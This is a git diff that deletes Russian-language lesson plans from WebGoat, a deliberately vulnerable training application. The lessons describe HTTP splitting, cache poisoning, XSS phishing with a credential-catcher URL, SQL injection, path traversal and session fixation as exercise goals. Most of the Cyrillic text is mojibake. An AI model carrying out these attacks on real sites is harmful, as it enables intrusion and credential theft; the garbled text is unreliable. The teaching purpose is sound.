- Эффект от таких атак может уÑиливатьÑÑ ÐºÐ¾Ð³Ð´Ð° они проводÑÑ‚ÑÑ Ð²Ð¼ÐµÑте Ñ Ð°Ñ‚Ð°ÐºÐ°Ð¼Ð¸ клаÑÑа "Отравление кеша" (Cache Poisoning). -СмыÑл их в отравлении кеша жертвы по ÑредÑтвам подÑÐ¾Ð²Ñ‹Ð²Ð°Ð½Ð¸Ñ ÐµÐ¹ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ HTTP Splitting поддельной Ñтраницы, -пришедшей Ñкобы от Ñервера. -

-

-ВмеÑте Ñ Ñтим, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ уÑзвимоÑтей позволÑющих провеÑти разбиение HTTP-ответа, злоумышленник может заÑтавить Ñервер -отоÑлать клиенту поддельный заголовок Last-Modified: Ñ Ð´Ð°Ñ‚Ð¾Ð¹ из будущего. От Ñтого браузер клиента Ñтанет поÑылать Ñерверу -неверное Ñодержимое в заголовке If-Modified-Since. Сервер, в Ñвою очередь, вÑегда будет отвечать клиенту что (отравленнаÑ) -Ñтраница не изменилаÑÑŒ и клиент поÑтоÑнно будет видеть Ñтраницу подÑунутую злоумышленником. -

-

ПроÑтой пример ответа Ñ ÐºÐ¾Ð´Ð¾Ð¼ 304: -

HTTP/1.1 304 Not Modified
-Date: Fri, 30 Dec 2005 17:32:47 GMT
-

-
-

ОÑновные цели и задачи:

- -

Данный урок имеет две Ñтадии. Ðа первой вы изучаете проведение атак HTTP Splitting, а на второй научитеÑÑŒ Ñовмещать -их Ñ Ð¾Ñ‚Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸ÐµÐ¼ кеша.

-

-Введите любой Ñзык в форму поиÑка. ПоÑле отправки формы приложение оÑущеÑтвит переадреÑацию на другую ÑÑылку, -раÑположенную на Ñтом же Ñервере. С помощью Ð¿Ð¾Ð¼ÐµÑ‰ÐµÐ½Ð¸Ñ CR (%0d) и LF (%0a) в название Ñзыка вы должны изучить проведение атак -данного типа. -Ваша цель ÑоÑтоит в том, чтоб заÑтавить Ñервер отправить ответ 200 ОК. ЕÑли Ñодержимое Ñкрана изменитÑÑ Ð¾Ñ‚ вашей атаки, -проÑто перейдите на главную Ñтраницу. Как только шаг 2 будет выполнен уÑпешно вы увидите что в левом меню поÑвилаÑÑŒ Ð½Ð¾Ð²Ð°Ñ -Ð·ÐµÐ»Ñ‘Ð½Ð°Ñ Ð¾Ñ‚Ð¼ÐµÑ‚ÐºÐ° на против Ñтого раздела. -

- - diff --git a/src/main/webapp/lesson_plans/ru/InsecureLogin.html b/src/main/webapp/lesson_plans/ru/InsecureLogin.html deleted file mode 100644 index 8340c9a06..000000000 --- a/src/main/webapp/lesson_plans/ru/InsecureLogin.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Ðазвание урока: Insecure Login

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -ЧувÑÑ‚Ð²Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð¸ÐºÐ¾Ð³Ð´Ð° не должна поÑылатьÑÑ Ð² виде открытого текÑта! -Многие Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ ÑƒÑтанавливают защищённые ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ поÑле авторизиации. -Это помогает хакерам, в том плане что они могут перехватить отправленные пользователем данные -ещё до уÑтановки им безопаÑного ÑоединениÑ. Ð’ хороших веб-приложениÑÑ… Ð²Ð°Ð¶Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ -никогда не передаётÑÑ Ð² открытом виде. -

ОÑновные цели и задачи:

-ПоÑмотрите как легко прочеÑть пароль передающийÑÑ Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ñ‹Ð¼ текÑтом. Так вы
-лучше поймёте преимущеÑтва передачи информации по защищённому Ñоединению. - diff --git a/src/main/webapp/lesson_plans/ru/JSONInjection.html b/src/main/webapp/lesson_plans/ru/JSONInjection.html deleted file mode 100644 index 583c3fc85..000000000 --- a/src/main/webapp/lesson_plans/ru/JSONInjection.html +++ /dev/null @@ -1,25 +0,0 @@ -
-

Ðазвание урока: Выполнение атак клаÑÑа 'JSON-инъекциÑ'

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Ðа данном уроке вы научитеÑÑŒ оÑущеÑтвлÑть атаки клаÑÑа 'JSON-инъекциÑ' -
-
-

-Как работают такие атаки: -

-JSON - Ñто проÑтой, "легковеÑный" и Ñффективный формат передачи данных. Данные, -передаваемые Ñ ÐµÐ³Ð¾ помощью, могут иметь различные формы. Ðапример Ñто может быть маÑÑив, ÑпиÑок, хеш-таблица и Ñ‚.д. -JSON обычно иÑпользуетÑÑ Ð² AJAX- и Web2.0-приложениÑÑ…, поÑтепенно вытеÑнÑÑ XML за Ñчёт Ñвоей проÑтоты и ÑкороÑти обработки. -Ð’ то же Ð²Ñ€ÐµÐ¼Ñ JSON, как и XML, предраÑположен к атакам инъективного клаÑÑа. Ðапример злоумышленник может перехватить ответ -Ñервера и внедрить в него произвольные данные. - -
-

ОÑновные цели и задачи:

- -* Ð’Ñ‹ летите из БоÑтона, Ñ Ð°Ñропорта Ñ ÐºÐ¾Ð´Ð¾Ð¼ BOS, в СиÑтл, в аÑропорт Ñ ÐºÐ¾Ð´Ð¾Ð¼ SEA.
-* Когда вы введёте трёхзначные коды аÑропортов, на Ñервер, ÑредÑтвами AJAX, уйдёт Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð¾ цене билета.
-* Вам Ñообщат что еÑть два доÑтупных варианта - один без оÑтановок, а второй Ñ Ð´Ð²ÑƒÐ¼Ñ Ð¾Ñтановками.
-* Ваша задача попытатьÑÑ Ð·Ð°ÐºÐ°Ð·Ð°Ñ‚ÑŒ билет без оÑтановок за цену билета Ñ Ð´Ð²ÑƒÐ¼Ñ Ð¾Ñтановками. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/JavaScriptValidation.html b/src/main/webapp/lesson_plans/ru/JavaScriptValidation.html deleted file mode 100644 index 20ac321ac..000000000 --- a/src/main/webapp/lesson_plans/ru/JavaScriptValidation.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Ðазвание урока: Обход валидации данных реализованной на клиентÑкой Ñтороне Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ JavaScript

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Проверку данных, реализованную на клиентÑкой Ñтороне, не Ñтоит раÑÑматривать -как какой-то механизм повышающий безопаÑноÑть приложениÑ. Она лишь призвана Ñократить -количеÑтво неверных данных обрабатываемых Ñервером, которые могут поÑтупать от проÑтых -пользователей не знающих правильный формат определённых полей. Ðтакующие могут -легко обойти такие механизмы множеÑтвом ÑпоÑобов. ПоÑтому проверка вводимой информации на клиентÑкой Ñтороне -обÑзательно должна иметь Ñвои аналог на Ñерверной чаÑти приложениÑ. Это Ñильно Ñнизит возможноÑть -Ð¿Ð¾Ð¿Ð°Ð´Ð°Ð½Ð¸Ñ Ð² важные механизмы Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¾Ð¿Ð°Ñных данных. - -
-

ОÑновные цели:

-Ðа Ñтом уроке веб-Ñайт проверÑет Ñодержимое формы Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ определённых механизмов. -Ваша цель обойти их и отправить форму Ñ Ñ‚Ð°ÐºÐ¸Ð¼Ð¸ данными, которых Ñайт не ожидает. -
- -Ðа данном Ñайте реализована проверка поÑтупающих данных и на клиентÑкой, и на Ñерверной Ñтороне. -Вашей задачей ÑвлÑетÑÑ Ð½Ð°Ñ€ÑƒÑˆÐµÐ½Ð¸Ðµ работы клиентÑкого механизма проверки и отправка Ñайту неожиданной -Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ информации. Ð’Ñ‹ должны нарушить работу вÑех 7 валидаторов. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/Lesson_Plan_Template.html b/src/main/webapp/lesson_plans/ru/Lesson_Plan_Template.html deleted file mode 100644 index 66293a95c..000000000 --- a/src/main/webapp/lesson_plans/ru/Lesson_Plan_Template.html +++ /dev/null @@ -1,17 +0,0 @@ -
-

Lesson Plan Title:

-
- -

Concept / Topic To Teach:

-

Standards Addressed:

-

General Goal(s):

-

Specific Objectives:

-

Required Materials:

-

Anticipatory Set (Lead-In):

-

Step-By-Step Procedures:

-

Plan For Independent Practice:

-

Closure (Reflect Anticipatory Set):

-

Assessment Based On Objectives:

-

Extensions (For Gifted Students):

-

Possible Connections To Other Subjects:

- \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/LogSpoofing.html b/src/main/webapp/lesson_plans/ru/LogSpoofing.html deleted file mode 100644 index 544b2bf23..000000000 --- a/src/main/webapp/lesson_plans/ru/LogSpoofing.html +++ /dev/null @@ -1,20 +0,0 @@ -
-

Ðазвание урока: Подделка запиÑей в лог-файлах.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- Ðа Ñтом уроке раÑÑматриваетÑÑ Ð¿Ñ€Ð¾Ñтой обман человечеÑких глаз. -
-
-

-Как работает данный тип атак: -Целью Ñтих атак ÑвлÑетÑÑ Ð¿Ð¾Ð´Ð´ÐµÐ»ÐºÐ° запиÑей лог-файла за Ñчёт Ð¿Ð¾Ð¼ÐµÑ‰ÐµÐ½Ð¸Ñ Ð² него Ñпециально Ñформированной Ñтроки. -Это позволит атакующему запутать админиÑтратора и Ñкрыть Ñвои Ñледы. -

-
-

ОÑновные цели:

- -* Ð’ Ñером поле, раÑположенном ниже, отображаетÑÑ Ñодержимое которое будет в неÑено в лог-файл.
-* Вашей целью ÑвлÑетÑÑ Ñоздание такой запиÑи, в которой Ñообщено будто пользователь "admin" вошёл уÑпешно
-* Кроме Ñтого попробуйте помеÑтить в лог-файл какую-нибудь JS-вÑтавку. - diff --git a/src/main/webapp/lesson_plans/ru/MultiLevelLogin1.html b/src/main/webapp/lesson_plans/ru/MultiLevelLogin1.html deleted file mode 100644 index 464a1bac0..000000000 --- a/src/main/webapp/lesson_plans/ru/MultiLevelLogin1.html +++ /dev/null @@ -1,19 +0,0 @@ -
-

Ðазвание урока: ÐœÐ½Ð¾Ð³Ð¾ÑƒÑ€Ð¾Ð²Ð½ÐµÐ²Ð°Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ð¸Ñ 1

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -ÐœÐ½Ð¾Ð³Ð¾ÑƒÑ€Ð¾Ð²Ð½ÐµÐ²Ð°Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¾Ð±ÐµÑпечиваетÑÑ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ð¼ дополнительного варианта -проверки пользователÑ. Ðапример, поÑле того как вы зайдёте под Ñвоим именем и паролем, при -Ñовершении важной операции приложение может попроÑить Ð²Ð°Ñ ÑƒÐºÐ°Ð·Ð°Ñ‚ÑŒ идентификационный номер транзакции (TAN). -Обычно такие Ñхемы иÑпользуютÑÑ Ð² онлайн-банкинге. Банк даёт вам ÑпиÑок допуÑтимых -номеров транзакций которые уникальны Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ клиента. Один TAN может быть иÑпользован -только один раз. Кроме того, TAN может отправлÑтьÑÑ ÐºÐ»Ð¸ÐµÐ½Ñ‚Ñƒ по SMS. Ð’ данном Ñлучае -упор делаетÑÑ Ð½Ð° то, что злоумышленнику очень трудно узнать номера транзакций имеющиеÑÑ -у пользователÑ. - -

ОÑновные цели и задачи:

-Ð’ данном уроке вы должны иÑÑледовать похожую ÑиÑтема аутентификации. -Из иÑходных данных у Ð²Ð°Ñ ÐµÑть Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ, пароль и -уже иÑпользованые TAN. Ð’Ñ‹ должны узнать принимает ли Ñервер номера транзакций Ñтавшие недейÑтвительными. - diff --git a/src/main/webapp/lesson_plans/ru/MultiLevelLogin2.html b/src/main/webapp/lesson_plans/ru/MultiLevelLogin2.html deleted file mode 100644 index 7d77f76d9..000000000 --- a/src/main/webapp/lesson_plans/ru/MultiLevelLogin2.html +++ /dev/null @@ -1,17 +0,0 @@ -
-

Ðазвание урока: ÐœÐ½Ð¾Ð³Ð¾ÑƒÑ€Ð¾Ð²Ð½ÐµÐ²Ð°Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ð¸Ñ 2

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -ÐœÐ½Ð¾Ð³Ð¾ÑƒÑ€Ð¾Ð²Ð½ÐµÐ²Ð°Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¾Ð±ÐµÑпечиваетÑÑ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ð¼ дополнительного варианта -проверки пользователÑ. Ðапример, поÑле того как вы зайдёте под Ñвоим именем и паролем, при -Ñовершении важной операции приложение может попроÑить Ð²Ð°Ñ ÑƒÐºÐ°Ð·Ð°Ñ‚ÑŒ идентификационный номер транзакции (TAN). -Обычно такие Ñхемы иÑпользуютÑÑ Ð² онлайн-банкинге. Банк даёт вам ÑпиÑок допуÑтимых -номеров транзакций которые уникальны Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ клиента. Один TAN может быть иÑпользован -только один раз. Кроме того, TAN может отправлÑтьÑÑ ÐºÐ»Ð¸ÐµÐ½Ñ‚Ñƒ по SMS. Ð’ данном Ñлучае -упор делаетÑÑ Ð½Ð° то, что злоумышленнику очень трудно узнать номера транзакций имеющиеÑÑ -у пользователÑ. -

ОÑновные цели и задачи:

-У Ð²Ð°Ñ ÑƒÐ¶Ðµ еÑть аккаунт Ð´Ð»Ñ ÑиÑтемы 'WebGoat Financial', но вам нужно -войти под другим аккаунтом Ð·Ð½Ð°Ñ Ð»Ð¸ÑˆÑŒ его логин. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/NewLesson.html b/src/main/webapp/lesson_plans/ru/NewLesson.html deleted file mode 100644 index 04197bd54..000000000 --- a/src/main/webapp/lesson_plans/ru/NewLesson.html +++ /dev/null @@ -1,13 +0,0 @@ - - -

Создание уроков WebGoat

-

-ДобавлÑть уроки в WebGoat очень проÑто. ЕÑли у Ð²Ð°Ñ ÐµÑть Ñ…Ð¾Ñ€Ð¾ÑˆÐ°Ñ Ð¸Ð´ÐµÑ
-Ð´Ð»Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ урока, Ñледуйте Ñтой проÑтой инÑтрукции чтоб реалиовать её:

-* Скачайте иÑходный код здеÑÑŒ.

-* УÑтановите фреймворк: Ñледуйте проÑтым инÑтрукциÑм в "HOW TO create the WebGoat workspace.txt" (данный файл поÑтавлÑетÑÑ Ð²Ð¼ÐµÑте Ñ WebGoat).

-* Вам необходимо добавить 2 файла Ñ Ñодержимым вашего урока:
-  - YourLesson.java в org.owasp.webgoat.lessons
-  - YourLesson.html в WebContent/lesson_plans

- - diff --git a/src/main/webapp/lesson_plans/ru/PasswordStrength.html b/src/main/webapp/lesson_plans/ru/PasswordStrength.html deleted file mode 100644 index 4b0e5044a..000000000 --- a/src/main/webapp/lesson_plans/ru/PasswordStrength.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Ðазвание урока: СтойкоÑть паролÑ

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ðккаунты защищены на Ñтолько, на Ñколько защищены их пароли. Многие пользователи -везде ÑтремÑÑ‚ÑÑ Ð¸Ñпользовать Ñамые проÑтые варианты паролей. ЕÑли вы хотите защитить их от атаки методом проÑтого -перебора (brute-force), вам Ñледует предъÑвлÑть к ним Ñерьёзные требованиÑ. ПользовательÑкий пароль обÑзательно должен Ñодержать -как минимум буквы верхнего и нижнего региÑтров и цифры. Чем длиннее пароль, тем лучше. - -
-

ОÑновные цели и задачи:

- Попробуйте проверить неÑколько иÑпользуемых вами паролей на ÑтойкоÑть вот на Ñтом ÑервиÑе - https://howsecureismypassword.net/ \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/PathBasedAccessControl.html b/src/main/webapp/lesson_plans/ru/PathBasedAccessControl.html deleted file mode 100644 index 7c69d6e1c..000000000 --- a/src/main/webapp/lesson_plans/ru/PathBasedAccessControl.html +++ /dev/null @@ -1,11 +0,0 @@ -
-

Ðазвание урока: Обход Ñхем ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð´Ð¾Ñтупа оÑнованных на путÑÑ… файловой ÑиÑтемы.

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ð’ Ñхемах ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð´Ð¾Ñтупа оÑнованных на путÑÑ… файловой ÑиÑтемы атакующий может попытатьÑÑ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‚ÑŒ приложению -отноÑительный путь, вмеÑто ожидаемых данных, Ð´Ð»Ñ Ð¾Ð±Ñ…Ð¾Ð´Ð° ограничений безопаÑноÑти. Следовательно, злоумышленник может -получить доÑтуп к файлам, которые находÑÑ‚ÑÑ Ð²Ð½Ðµ текущей директории и к которым при нормальной работе Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¾Ð±Ñ€Ð°Ñ‰Ð°Ñ‚ÑŒÑÑ Ð½ÐµÐ»ÑŒÐ·Ñ. - -

ОÑновные цели и задачи:

-Пользователь должен получить доÑтуп к файлу, находÑщемуÑÑ Ð²Ð½Ðµ текущей директории. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/Phishing.html b/src/main/webapp/lesson_plans/ru/Phishing.html deleted file mode 100644 index a983d8e29..000000000 --- a/src/main/webapp/lesson_plans/ru/Phishing.html +++ /dev/null @@ -1,17 +0,0 @@ -
-

Ðазвание урока: Фишинг, оÑнованный на применении XSS

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Проверка вÑех принимаемых от пользователей данных вÑегда ÑчитаетÑÑ Ñ…Ð¾Ñ€Ð¾ÑˆÐµÐ¹ практикой. -XSS-уÑзвимоÑти возникают в том Ñлучае, когда непроверенные пользовательÑкие данные -возвращаютÑÑ ÐµÐ¼Ñƒ же в HTTP-ответе. С иÑпользованием XSS-уÑзвимоÑтей вы можете Ñовершать -фишинг-атаки или же проÑто добавлÑть на уÑзвимую Ñтраницу какое-нибудь Ñтороннее Ñодержимое. -Ð’ таких ÑитуациÑÑ… поÑетителÑм-жертвам очень трудно отделить наÑтоÑщую информацию на Ñайте от -поддельной. - -

ОÑновные цели и задачи:

-Пользователь должен каким-либо образом добавить на Ñтраницу форму -запроÑа логина и паролÑ. При её отправке введённые данные должны уходить на Ð°Ð´Ñ€ÐµÑ -http://localhost/WebGoat/catcher?PROPERTY=yes &user=catchedUserName&password=catchedPasswordName - diff --git a/src/main/webapp/lesson_plans/ru/ReflectedXSS.html b/src/main/webapp/lesson_plans/ru/ReflectedXSS.html deleted file mode 100644 index e41ac6e48..000000000 --- a/src/main/webapp/lesson_plans/ru/ReflectedXSS.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Ðазвание урока: ИÑпользование отражённых XSS-уÑзвимоÑтей

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ð’Ñегда хорошей практикой ÑчиталаÑÑŒ проверка вÑех входÑщих данных на Ñтороне Ñервера. -XSS-уÑзвимоÑти могут возникать в тех ÑлучаÑÑ…, когда непроверенные пользовательÑкие -данные Ñразу помещаютÑÑ Ð² HTTP-ответ. Ð’ таких ÑлучаÑÑ… нападающий может Ñформировать URL, Ñодержащий в Ñебе -вредоноÑный код и передать его жертве(ам) через Ñторонний веб-Ñайт, почту или любым другим ÑпоÑобом. - -

ОÑновные цели и задачи:

-Ð’ Ñтом упражнении вашей целью ÑвлÑетÑÑ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ° Ñерверу Ñпециально Ñформированного -вредоноÑного ÑообщениÑ, которое, отобразившиÑÑŒ в ответной Ñтранице,оÑущеÑтвит -какие-нибудь опаÑные дейÑÑ‚Ð²Ð¸Ñ (например выполнит произвольный JS-код). \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/RemoteAdminFlaw.html b/src/main/webapp/lesson_plans/ru/RemoteAdminFlaw.html deleted file mode 100644 index 0b5a14085..000000000 --- a/src/main/webapp/lesson_plans/ru/RemoteAdminFlaw.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Ðазвание урока: ДоÑтуп к Ñкрытым реÑурÑам Ñайта

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-ÐŸÑ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¾Ñ‡ÐµÐ½ÑŒ чаÑто имеют админиÑтративные интерфейÑÑ‹ позволÑющие привилегированным пользователÑм -получать доÑтуп к такому функционалу, к которому обычные пользователи не допуÑкаютÑÑ. Кроме того, -Ñам Ñервер Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð¶ÐµÑ‚ иметь админиÑтративный интерфейÑ. -

Стандартные адреÑа:

-

ОÑновные цели и задачи: - -Попробуйте получить доÑтуп к админиÑтративному интерфейÑу WebGoat. Ð’Ñ‹ также можете попытатьÑÑ Ð¾Ð±Ñ€Ð°Ñ‚Ð¸Ñ‚ÑŒÑÑ Ðº админиÑтративному -интерфейÑу Tomcat. РаÑполагаетÑÑ Ð¾Ð½ по адреÑу /admin. Обратите внимание на то что непоÑредÑтвенного Ð¾Ñ‚Ð½Ð¾ÑˆÐµÐ½Ð¸Ñ Ðº данному уроку -он не имеет. - -

diff --git a/src/main/webapp/lesson_plans/ru/RoleBasedAccessControl.html b/src/main/webapp/lesson_plans/ru/RoleBasedAccessControl.html deleted file mode 100644 index 98bff910f..000000000 --- a/src/main/webapp/lesson_plans/ru/RoleBasedAccessControl.html +++ /dev/null @@ -1,24 +0,0 @@ -
-

Ðазвание урока: Контроль доÑтупа оÑнованный на ролÑÑ…

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ð’ Ñхемах оÑнованных на ролÑÑ… Ñама роль предÑтавлÑет из ÑÐµÐ±Ñ Ð½Ð°Ð±Ð¾Ñ€ разрешений доÑтупа и привилегий. -Пользователю одновременно может быть приÑвоена одна или более ролей. -Подобные Ñхемы чаще вÑего включают в ÑÐµÐ±Ñ Ð´Ð²Ð° механизма: механизм работы Ñ Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñми доÑтупа и -механизм Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¸Ð²Ð¸Ð»ÐµÐ³Ð¸Ð¹. Ð’ ÑлучаÑÑ… когда Ñ€ÐµÐ°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ð½Ð½Ð¾Ð¹ Ñхемы имеет какие-то изъÑны пользователь может получить -доÑтуп к функционалу, к которому ему обращатьÑÑ Ð½Ðµ разрешено. Или он может каким-либо образом повыÑить Ñвои -привилегии в приложении. - - -

ОÑновные цели и задачи:

-Ваша цель ÑоÑтоит в изучении правил ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð´Ð¾Ñтупа данного Ñайта. -ÐšÐ°Ð¶Ð´Ð°Ñ Ñ€Ð¾Ð»ÑŒ имеет Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ð° доÑтуп к определённому реÑурÑу (A-F). Каждому пользователю приÑвоена одна или более ролей. -Только пользователи имеющие роль [Admin] могу получать доÑтуп к F-реÑурÑам. Ð’ Ñлучае удачного Ð¿Ñ€Ð¾Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ð°Ñ‚Ð°ÐºÐ¸ -пользователь не имеющий роль [Admin] должен получить доÑтуп к F-реÑурÑам. -

Учебные реÑурÑÑ‹:

-Схема организации -
-Матрица ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð´Ð¾Ñтупа -
-Структура базы данных diff --git a/src/main/webapp/lesson_plans/ru/SQLInjection.html b/src/main/webapp/lesson_plans/ru/SQLInjection.html deleted file mode 100644 index 2078691e9..000000000 --- a/src/main/webapp/lesson_plans/ru/SQLInjection.html +++ /dev/null @@ -1,20 +0,0 @@ -
-

Ðазвание урока: Проведение SQL-инъекци

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -SQL-инъекции предÑтавлÑÑŽÑ‚ из ÑÐµÐ±Ñ Ð¾Ñ‡ÐµÐ½ÑŒ Ñерьёзную угрозу Ð´Ð»Ñ Ñайтов оÑнованных на БД. -Методы их иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ñтаточно легки в оÑвоении, а ущерб Ñоздаваемый ими огромен и -при определённых уÑловиÑÑ… может произойти к компрометации вÑей ÑиÑтемы. Тем не менее, -количеÑтво интернет-Ñайтов Ñ ÑƒÑзвимоÑÑ‚Ñми данного типа поÑтоÑнно раÑтёт. -

-Ðа Ñамом деле вÑегда можно избежать поÑÐ²Ð»ÐµÐ½Ð¸Ñ ÑƒÑзвимоÑтей Ñтого клаÑÑа -еÑли в процеÑÑе напиÑÐ°Ð½Ð¸Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ð¹ Ñоблюдать общие меры предоÑторожноÑти. -Ðапример фильтровать вÑе поÑтупающие от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð°Ð½Ð½Ñ‹Ðµ. ОÑобенно те, которые -будут помещены в SQL-запроÑÑ‹. -
-

ОÑновные цели и задачи:

-Ð’ данном упражнении вы научитеÑÑŒ иÑпользовать SQL-инъекции. Кроме того, вам нужно будет -внеÑти в код правки, которые уÑтранÑÑ‚ Ñту уÑзвимоÑть в теÑтовом приложении. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/SameOriginPolicyProtection.html b/src/main/webapp/lesson_plans/ru/SameOriginPolicyProtection.html deleted file mode 100644 index c7433453d..000000000 --- a/src/main/webapp/lesson_plans/ru/SameOriginPolicyProtection.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Ðазвание урока: Защита Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ политики одного иÑточника (Same Origin Policy)

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ключевым Ñлементом технологии AJAX ÑвлÑетÑÑ ÐºÐ¾Ð¼Ð¿Ð¾Ð½ÐµÐ½Ñ‚ XMLHttpRequest (XHR). Он позволÑет Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ JavaScript -отправлÑть запроÑÑ‹ на Ñторону Ñервера в аÑинхронном режиме. Из Ñоображений безопаÑноÑти Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð¼Ð¾Ð¶Ð½Ð¾ отправить -только на тот домен, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ загружена Ñ‚ÐµÐºÑƒÑ‰Ð°Ñ Ñтраница. - -

ОÑновные цели и задачи:

-Упражнение демонÑтрирует механизмы защиты обеÑпеченные политикой одного иÑточника (Same Origin Policy) -Через компонент XHR можно отправлÑть Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð»Ð¸ÑˆÑŒ на тот Ñервер, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ была загружена Ñ‚ÐµÐºÑƒÑ‰Ð°Ñ -Ñтраница. Попытки отправить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° другой Ñервер потерпÑÑ‚ неудачу. "; diff --git a/src/main/webapp/lesson_plans/ru/SessionFixation.html b/src/main/webapp/lesson_plans/ru/SessionFixation.html deleted file mode 100644 index 4d70c976e..000000000 --- a/src/main/webapp/lesson_plans/ru/SessionFixation.html +++ /dev/null @@ -1,31 +0,0 @@ -
-

Ðазвание урока: Закрепление ÑеÑÑии

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-ИÑпользование атак клаÑÑа 'Закрепление ÑеÑÑии' -
-
-

